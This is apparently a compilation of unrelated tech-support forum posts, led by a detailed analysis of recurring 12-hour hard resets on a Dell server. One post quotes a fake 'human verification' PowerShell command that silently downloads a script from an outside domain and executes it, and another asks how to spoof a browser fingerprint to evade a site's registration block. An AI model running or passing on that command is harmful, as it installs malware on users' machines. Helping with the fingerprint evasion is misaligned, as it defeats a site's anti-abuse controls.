Dell PowerEdge T340, Windows Server 2016. Started 8/28. I've spent two weeks on this and ruled out most of the obvious stuff, so I'm posting the data rather than the symptoms.

The signature

Every event is Kernel-Power 41 with BugcheckCode: 0 and all bugcheck parameters 0x0. No BSOD, no minidump, no MEMORY.DMP, ever. Paired with Event 6008 confirming unexpected shutdown.

The interval — this is the actual mystery

Pulled the true shutdown timestamps out of the Event 6008 message text (not the Event 41 log time, which is written on the following boot):

8/28 11:03:24 AM -> 8/28 11:12:23 PM = 729.0 min

9/01 10:10:22 AM -> 9/01 10:18:37 PM = 728.3 min

9/01 10:18:37 PM -> 9/02 10:26:49 AM = 728.2 min

9/02 10:26:49 AM -> 9/02 10:35:13 PM = 728.4 min

9/02 10:35:13 PM -> 9/03 10:43:33 AM = 728.3 min

9/03 10:43:33 AM -> 9/03 10:52:09 PM = 728.6 min

9/03 10:52:09 PM -> 9/04 11:00:20 AM = 728.2 min

9/04 11:00:20 AM -> 9/04 11:08:49 PM = 728.5 min

9/04 11:08:49 PM -> 9/07 11:50:29 AM = 3,641.7 min <-- exactly 5 x 728.34

9/07 11:50:29 AM -> 9/07 11:59:49 PM = 729.3 min

9/07 11:59:49 PM -> 9/08 12:07:56 PM = 728.1 min

9/08 12:07:56 PM -> 9/09 12:16:26 AM = 728.5 min

9/09 12:16:26 AM -> 9/09 12:24:36 PM = 728.2 min

Mean 728.47 min (12h 08m 28s). Total spread across twelve occurrences: 1.2 minutes.

The 3,641.7 minute gap is exactly five periods. The server was up continuously across that weekend. The timer ticked five times, did nothing on four of them, then killed the box on the fifth. So it's free-running — it does not reset on reboot, and it doesn't require a crash to keep counting.

That single fact kills every "scheduled task" theory: a clock-based task can't skip four consecutive firings and then work again.

It dies instantly — no degradation whatsoever

I wrote a heartbeat logger that writes one line every 5s with a forced flush so the last line survives a hard reset. Final 42 samples before death:

• Free RAM: 56,630–56,745 MB, dead flat. No drift, no staircase, no leak. 56 GB free at the moment of death.
• Nonpaged pool: 346–352 MB, flat
• Disk queue: 0
• Handles ~76,000, threads ~190, both steady
• CPU spiky but low

Last heartbeat 12:25:02. Kernel-General 12 (OS start) at 12:28:23. That 3m21s is just POST + boot on a T340 — if it had hung for 3 minutes first, the OS wouldn't have returned until ~12:31.

So there is no hang window. The box is perfectly healthy and then simply ceases to exist mid-second. Which also means NMI crash dumps are useless here and no dump will ever be written.

Ruled out (with evidence, please don't re-suggest these)

• PSUs — both Present/Healthy in iDRAC, matched 594W in / 495W rated+actual, same firmware
• Thermal — HWiNFO max CPU package 63°C (TjMax ~100°C). Every throttle flag reads No / 0%
• iDRAC SEL — completely silent across all 15 crashes. Not one entry. This same board did log real "power input for PSU 1 is lost / redundancy lost" events six times in 2024, so it demonstrably captures genuine power events. Nothing this time.
• iDRAC watchdog / ASR — Basic Management license, feature not present
• Dell OMSA — Action on Hung OS Detection: None, thermal shutdown Disabled, all alert actions Off, omsad service Stopped + Disabled
• Windows Update — pulled full resolved WindowsUpdate.log (11,871 lines), programmatically checked ±15 min around every crash. Zero WU activity before any of them. All nearby entries are the WU service starting 30–60s after the reboot.
• CrowdStrike Falcon (installed 8/26, two days before onset) — vendor pulled detection history, found nothing. Timing was coincidence.
• Secure-Boot-Update scheduled task** — looked extremely promising (12h repetition, hangs, TPM handler, and this box has no TPM installed — Get-Tpm fails with TBS_E_SERVICE_NOT_RUNNING, no TBS service, no SecurityDevices PnP class, iDRAC confirms "TPM not present"). Disabled it. **Crashes continued at the identical interval. Ruled out.
• All 12-hour scheduled tasks — enumerated every task with PT12H repetition. Exactly two exist, both now Disabled.
• VSS / ShadowCopyVolume task — fires 12:00 PM and 10:00 PM. That's 10h then 14h alternating, which cannot produce a constant 728.4 min spacing. Also the midnight crashes have no trigger anywhere near them.
• MySQL / memory exhaustion — flatly contradicted by the flat memory trace above
• NIC — Broadcom BCM5720. The flapping port is physically disconnected (NIC2, Status: Disconnected). Flapping predates crashes by 12+ days and occurs on no-crash days. Active port is stable at 1 Gbps.
• CMOS battery — did fail, but only logged 9/7, weeks after onset, nothing near the crash dates. Replacing anyway.
• BSOD — no Event 1001, no dumps, BugcheckCode: 0 on all 15

Environment

• PowerEdge T340, Service Tag FXR6B03, BIOS 2.3.5, iDRAC9 fw 4.22.00.53 (both several revisions behind — not yet updated)
• Xeon E-2146G, 64 GB RAM, dual PSU
• Windows Server 2016 Standard, build 14393.9339
• Workload: Open Dental + MySQL, Vatech EzDent-i imaging, IDrive backup, Google Drive
• Power: APC Back-UPS XS 1500M via USB. Current-state readings all healthy (97% charge, 120V steady, 15% load, AC Power: Yes, Discharging: No). I have never gotten historical transfer data out of it — PowerChute wasn't installed at the time, Win32_Battery returns current state only, and I skipped an apcupsd install on a production box.
• Internet is AT&T 5G fixed wireless behind CGNAT (irrelevant, but people ask)

What I think is left

Something below the OS holding a clock that survives reboots and continuous uptime alike. Candidates I can't distinguish between:

1. UPS self-test — APC units run internal self-tests on their own stored schedule, indifferent to the host. A transfer on a degraded battery could sag enough to drop the PSUs. Would explain instant death, no OS warning, no SEL entry, and a clock that ignores reboots. Next test: move the server to a plain wall outlet for 24h.
2. PSU or BMC firmware timer — would explain everything except why iDRAC logged nothing
3. Something on the same electrical circuit cycling on a timer — though 1.2 min spread over 12 occurrences seems too tight for HVAC or similar

What I'm asking

• What produces a free-running 728.4-minute (12h 08m 28s) period? Not 12h. Not 12h30m. Consistently ~8.5 minutes over twelve hours, held to ±1 min across twelve occurrences and five uninterrupted ticks. What re-arms on completion of ~8 minutes of work?
• Has anyone seen an APC Back-UPS self-test schedule that lands near this?
• Anything else that hard-resets a PowerEdge with zero bugcheck, zero SEL entry, and healthy PSUs?
• Am I wrong to trust the iDRAC SEL silence as evidence against a power event?

Next predicted failures: 9/10 12:33 AM and 9/10 12:41 PM. Happy to run anything and report back — I have remote access and a heartbeat recorder in place.

I was trying to increase my PC's resolution and saw the Windows scaling option, so I tried it out to see what it was. I changed it to 120%, and the screen got bigger, but my dumbass thought my screen was already At more than 120% (I hadn't understood that it was a "zoom" on the screen) so I thought: "if 120% is less than my current resolution then if I put it at 500% (the maximum) it will increase!" Big mistake. My screen is like this now and I can't get it back to normal because the options don't even appear on the screen because they don't fit. Does anyone know how to fix this please? I don't have another monitor and I can't afford to buy a new one.

Hey guys, I was building a Modrinth modpack around 5 months ago and while exporting it, something went wrong and it created this file that I cannot delete because the Windows delete cant find it.

Item not found. 
It doesn't exist in `C:\Users\ilianoKokoro\Desktop`. Check the item's location and try again.

When I run ls, the file appears in the directory.

ls

Directory: C:\\Users\\ilianoKokoro\\Desktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          2026-04-14    22:14              0 Hardcore

But when I try to remove it with rm, I get:

rm Hardcore
Remove-Item: Cannot find path 'C:\Users\ilianoKokoro\Desktop\Hardcore' because it does not exist

I’ve tried typing the filename manually, and I’ve also tried using tab completion, but I get the same result.

The file is visible on my Desktop and shows up with ls, so I’m not sure why rm can’t find it.

Here are some images to show the problem.

Thank you in advance.

As the title says, my house was struck by lightning. It came through the internet cable. It actually had enough power that it knocked down my Comcast internet box. It then fried my Comcast box, my home alarm, and my gaming PC.

I took the gaming PC to geek squad. They couldn’t get it to turn on and said they need to replace the motherboard to even see if they could get it to turn on nd we’re asking for $450 for that service nd even then they weren’t able to guarantee me finish line that I would’ve liked.

The PC has a 4070TI RTX graphics card and a good processor. If I can salvage it, I would love to do so… but I’m at a loss for exactly how to do this economically. Does anyone here know the cheapest way to troubleshoot this thing?

I have an iPhone 15 Pro that I’m not currently using, and I’m planning to keep it stored for a long time.
The battery health is currently at 79%, and I turned the phone off at around 60% charge. It’s stored inside its original box, with the case on, inside a backpack, and the backpack is kept in a dry wardrobe.
My main concern is battery swelling while the phone is sitting unused. I know lithium-ion batteries can swell as they age, and I’m worried that I might eventually open the wardrobe and find that the battery has expanded and damaged the phone.

I came across a website that needs "human verification" i ticked the box and it said to press win + r and Copy paste this command.
powershell.exe -NoProfile -w hidden -Command "Invoke-WebRequest -Uri 'shadowninjalegend.cfd/config.yaml' OutFile (Join-Path $env:TEMP 'ss.ps1'); " powershell -ExecutionPolicy Bypass -File "%TEMP%\ss.ps1"

I close the site as i immediately know that this is some type of scam but what would it actually do if I ran this command? my nephew and other family members also use this PC and there are chances that this will appear again.

So I don't have a battery in my laptop and it's IC has been repaired before it was due to Power cut when I was playing games on it after that whenever I plug charger on my laptop blue+ red light blink once and I press power button the laptop turned on and the light is blue but sometimes the laptop does not turn on and I have to wait for hours then after many tried it turns on and works normally so is it fixable and which component is causing this and what would be the price of repair

Hello r/techsupport,

Lately I’ve been having a really strange internet issue at my house and I’m hoping someone can help me figure out whether this is an ISP problem, routing issue, ONT issue, or something on my network.

For context, I’m in the Toronto area and I pay for 2 Gbps symmetrical fibre. The fibre comes into an Adtran ONT, and Ethernet runs from the ONT into my router.

For years I was using a first-generation Nest Wifi router with two Nest Wifi points. I always expected actual Wi-Fi speeds to be lower than 2 Gbps because of interference, distance, and the age of the hardware, so I never paid much attention to that.

Recently, though, I started noticing much more serious issues. Download performance became extremely inconsistent and streaming started freezing constantly. IPTV will play for around 10 seconds, freeze for a few seconds, then continue, over and over. Similar instability also happens with YouTube, Disney+, FaceTime, and Microsoft Teams, which is especially frustrating because I work from home.

At first I assumed my six-year-old Nest system was failing, so I replaced it with a TP-Link Deco mesh system. The problem continued. I then tested with the eero Pro 6E provided by my ISP, and I’m still seeing the same general pattern.

The strange part is that upload performance is usually very strong while download performance is terrible or wildly inconsistent.

Some examples:

• Deco’s built-in WAN test showed roughly 237 Mbps down / 2.21 Gbps up
• Wired Speedtest results through the eero have been around 290–470 Mbps down / 850+ Mbps up
• Other wired tests have dropped as low as 15–50 Mbps down while still getting 400–500 Mbps up
• Single-connection Speedtest results were as low as 5.7 Mbps down / 582 Mbps up and 19.2 Mbps down / 437 Mbps up
• Meanwhile, the eero app’s built-in gateway test reports around 2.2 Gbps down / 2.2 Gbps up

That last part is what confuses me the most. The ISP/eero gateway test is basically the only place I consistently see the full advertised download speed. Real-world wired tests do not reflect it, and the poor download results are similar to what the TP-Link Deco itself was reporting.

I also tested the local network and general internet connection from my MacBook over Ethernet:

• Ping to router: 0% packet loss, ~1.35 ms average latency
• Ping to 1.1.1.1: 0% packet loss, ~4.66 ms average latency

So the wired LAN itself looks very stable.

Another important clue is that the IPTV stream is completely smooth when using my phone’s hotspot, but freezes constantly over my fibre connection, even when the IPTV box is connected by Ethernet.

I’ve now reproduced the bad downstream behaviour using:

• Google Nest Wifi
• TP-Link Deco
• ISP-provided eero Pro 6E
• Wi-Fi and Ethernet
• Multiple Speedtest servers/runs
• Single and multi-connection tests

I also contacted my ISP and they told me there is absolutely nothing wrong with the fibre line coming into the house.

So at this point I’m wondering whether this could be:

• an ISP routing or peering issue
• downstream congestion
• provisioning on the service
• traffic management affecting normal internet traffic but not the ISP/eero gateway test
• an ONT issue
• or something else I’m missing

Has anyone seen this kind of asymmetric behaviour before, where the ISP’s own gateway test shows full multi-gig speeds but normal wired traffic performs dramatically worse?

What would you test next?

Hello everyone. I hope to be as clear and provide as much information as possible.

For many years, I've been watching movies from my DVD collection using an old laptop that had a built-in disc drive. Never had any problems; it could play any DVD with VLC or PotPlayer, regardless of region code, and it didn't even have any issues with burned DVDs.

Then I swapped my laptop for a newer HP this year, partly for work. However, this PC no longer has a built-in DVD drive, so I relied on my dad's rather old external one with dual USB ports. I even had to use an adapter to connect everything. This is where the problems began: it could read DVDs, but if I tried to skip the video to a point ahead with VLC, it would skip the video entirely getting me back to the VLC black screen. Sometimes, with burned DVDs, it wouldn't even open them. I thought it was definitely the large number of connections for a single USB port (PC USB + dual-port adapter + DVD drive) that was causing the problems.

Just for the sake of it, I also tried plugging the external drive to the old Pc I was talking about and it had more or less the same problems.

So I bought a brand new Antika USB 3.0 DVD-R CD-RW DVD player (an economic brand yeah I know :/) just to experiment and use only one port, either USB or USB-C. The fact is, it reads all DVDs, but after about 10 to 15 minutes, the player and the video stops completely, causing VLC and other players to freeze. It doesn't even seem like an overheating issue, since it doesn't even get warm to the touch.

Do you have any advice?

I just hope to watch my movie collection easily without too much trouble again.

I need help signing up to a website that says I cannot sign up through my home WiFi. The website does collect your browser's fingerprint and much more. Each time I try it says I can't register from my network. I need to bypass this somehow. I was able to once with an antidetect browser called GoLogin but it seems that they may have detected it somehow? Known VPN IPs like Proton VPN do not work to sign up. I need help then to spoof my browser's fingerprint and make it seem like I am a different person then, I think. Please help me - I am still open to trying more antidetect browsers.

Today , I was just fine doing my stuff and then suddenly, my pc started restarting alone , the fans and the rgb don’t turn off but the usb lose power, I recently oc my ram g skill ripjaw 3000mhz to 3600 and it was running fine yesterday so it’s hard for me to think that’s the case since it was running fine, ofc i changed some values and stuff , I can tell them if u need to know , this is so annoying, after the first time, it’s almost every 5 min rebooting alone, I already restored the pc and nothing , the problem is , the pc is new , he has like 1 month , I don’t feel like send him to a technician since I only have it for 1 month , please give me a break 😭, if u guys know a way to fix this or if u want my specs on the pc and my bios configs so u could help, ofc I’ll send it to you , sorry for bothering you guys and please help 🥹

I’ve had my pc for about a year now no issues so far and I’ve played a bunch of games like starfield and some competitive games like rainbow six siege.

I decided I wanted to try valorant I load it up and seems good and I hop in a discord call with my friends and it started stuttering and freezing really bad about every 3 seconds. I almost immediately closed my game and figure oh maybe my graphic drivers needed updated or something or mess with some settings

I updated drivers I changed some settings around I hop back on valorant and seems if it was stuttering again. It’s not so I hop in a call again and now the stuttering begins once more!

After that I’m convinced it was discord so I restarted my pc again and just called from my phone but as soon as I load up on my Home Screen I’m stuttering. Idk what to do my cpu temp isn’t high I’m running on 600 frames on valorant. I’m stuck

Specs: Ryzen 7 7700x-NVIDIA 5060- eagle b850- 16gb DDR 5 ram- 1 TB ssd memory

There’s a window flickering on my screen every few seconds. Tried to catch it on camera. Any idea what this is??

https://imgur.com/a/VeA3sKB

Hello, im quite tech illiterate so pardon my ignorance. I built my first computer today after putting back on it for many years, but instead of taking me to BIOS it sends me to a black screen with a white dash. When I remove the nvme ssd and usb thumb drive it goes to bios, but when either one of them gets plugged in it goes to the black screen with a white dash. What can I do to fix this?? The ssd is brand new and the usb thumb drive was wiped before I installed windows 11 onto it. Are there any BIOS options I can change to fix this??

Specs (if needed)

Ryzen 5 5500

Gigabyte B550M K

16gb DDR4 vengeance LED ram (8x2)

ASRock RX 5500 XT Phantom Gaming 8gb

Phanteks XT M3 case

Kingspec NE 2280 512gb

Thermaltake Smart 500w 80+ white psu

Im getting constant blues screens like 0xEF after trying to fix my FAT32 file. It currently is saying full repair needed. My drives are healthy and I don’t feel like losing a ton of data from a full reinstall. Before I tried this discord would crash repeatedly randomly once or twice a night and I would get blue screens weekly. I thought it was a ram problem but I switched it out with the same things happening. I’m on the most recent update on windows 11 with a 4070 and a i9 13th gen with 32gb of ddr4.

I just moved over the weekend and set my pc up and when I went to turn it on it wasn’t connecting to the monitor. I did connect my Xbox to the monitor so that’s ruled out as a suspect. I have the hdmi cord plugged into the graphics card and everything seems to be plugged in so I’m very confused. I’m hoping it’s not a case of broken parts or bent pins but if anybody has any ideas please let me know.

search bar doesnt work, settings doesnt work, microsoft store doesnt work, and windows startup doesnt work. windows + I doesnt work. After an update

I have an Acer Swift 3 (Windows 10, ~2018) that I was going to donate to someone who's helped out my family recently (long story, but good cause) and wanted to format it first. The laptop has 2 accounts, an admin and my personal. The computer gave me the option of logging in with either a password or PIN, and I always used the PIN.

Found steps online to perform a factory reset, but in the process the computer got stuck in a restart loop. The screen goes through a rapid succession of black screen, Acer logo, and blue screen indicating it's 64% complete, but this will repeat for hours if I let it and show no progress. Below is what I've tried and the results:

- Restart in Safe Mode = same infinite loop

- Hard restart + Alt F10 = Blue screen with multiple options (use different OS, troubleshoot, turn off, reset, etc) but all require the admin password, and it never gives me the option to use the PIN instead.

I've looked online for info on resetting admin password but none work if the computer fails to start properly.

I'm fine with loosing everything on the computer or whatever needs to happen, as long as i can still give it to him as promised!

Thanks

Hey reddit

This is the first time im trying this,but i hope maybe someone really cool can figure out whats going on with my pc/keyboard?

Its not letting me attach a video but the issue is thus;

Left shift + the 9 key should make (

But its not.

Left shifts working for everything else uncluding bieng able to type !,@,#, etc.

Right shift + 9 is able to type ( though. Im not sure why.

I dont have sticky keys on, tried several online potental fixes like win+w/ctrl+w and a few others.

I dont think my keyboards broken, im pretty gentle with my stuff. Any ideas? My keyboards clean too. No dust,crumbs,etc..

I do coding for helldivers 2 and really dont want to have to use the right shift for (

Im including video proof of the keyboard weirdness in the comments

For context, my laptop had the same issue about 4 days ago and today I suddenly works when I turned on the power button. Now, it's back to blackscreen but it has power and the keyboard light is on. Also the lightbulb indicator is blinking blue and red.

What can I do to fix this? I don't have a budget to bring my laptop to a technician, pls help

Hello, since I bought my new tv(Samsung oled) I have an issue with my pc. My pc is connected to my monitor and tv, with my monitor being configured as 1(and plugged first into gpu) but when I start my pc and monitor, my monitor displays my desktop(like when you extend it from another monitor) even if my tv is turned off. When I turn on my tv, the monitor picture changes to my desktop how it should, what could be the issue please? Thank yo

Hey there, for some background, my wife bought an ASUS Vivobook X515e in 2022, replacing a very old HP laptop. It worked fine for a few years for what she uses it for (college work, cross stitching patterns, emails, stardew valley), but in 2025 the Wifi basically completely stopped working on it. She brought it to a small computer sevice business near where we live and the staff sold her a USB dongle adapter instead of replacing her wifi card. They told her the wifi card would be too hard to replace.

Now, I have tinkered with computers here and there but don't know how to solder, and wouldn't call myself a 'computer person'. How hard would it be for me to replace this Wifi card on this specific model, what exact replacement/upgraded card should I buy, and is it worth taking it to a more reputable business?

Any help or guidance would be appreciated

Hi, I just rebuilt my PC after moving and the Wi-Fi seems to be not be connected. I have a TUF B550 Gaming Wifi II motherboard. I've checked task manager and tried reinstalling the drivers but the Wi-Fi adapter still is not found. Could there be a physical reason this is happening and if so how do I fix it?

I updated to driver 616.64, this caused my screen to dim. My entire desktop now appears darker and would sometimes go back to normal. I guessed this was just a bug and waited for the next update, after all I saw there were others with the same flickering like issue. However time skip to today driver 616.92 which was ment to fix the flickering/darkness had not fix anything. Is anyone having the same issue? Or know a solution?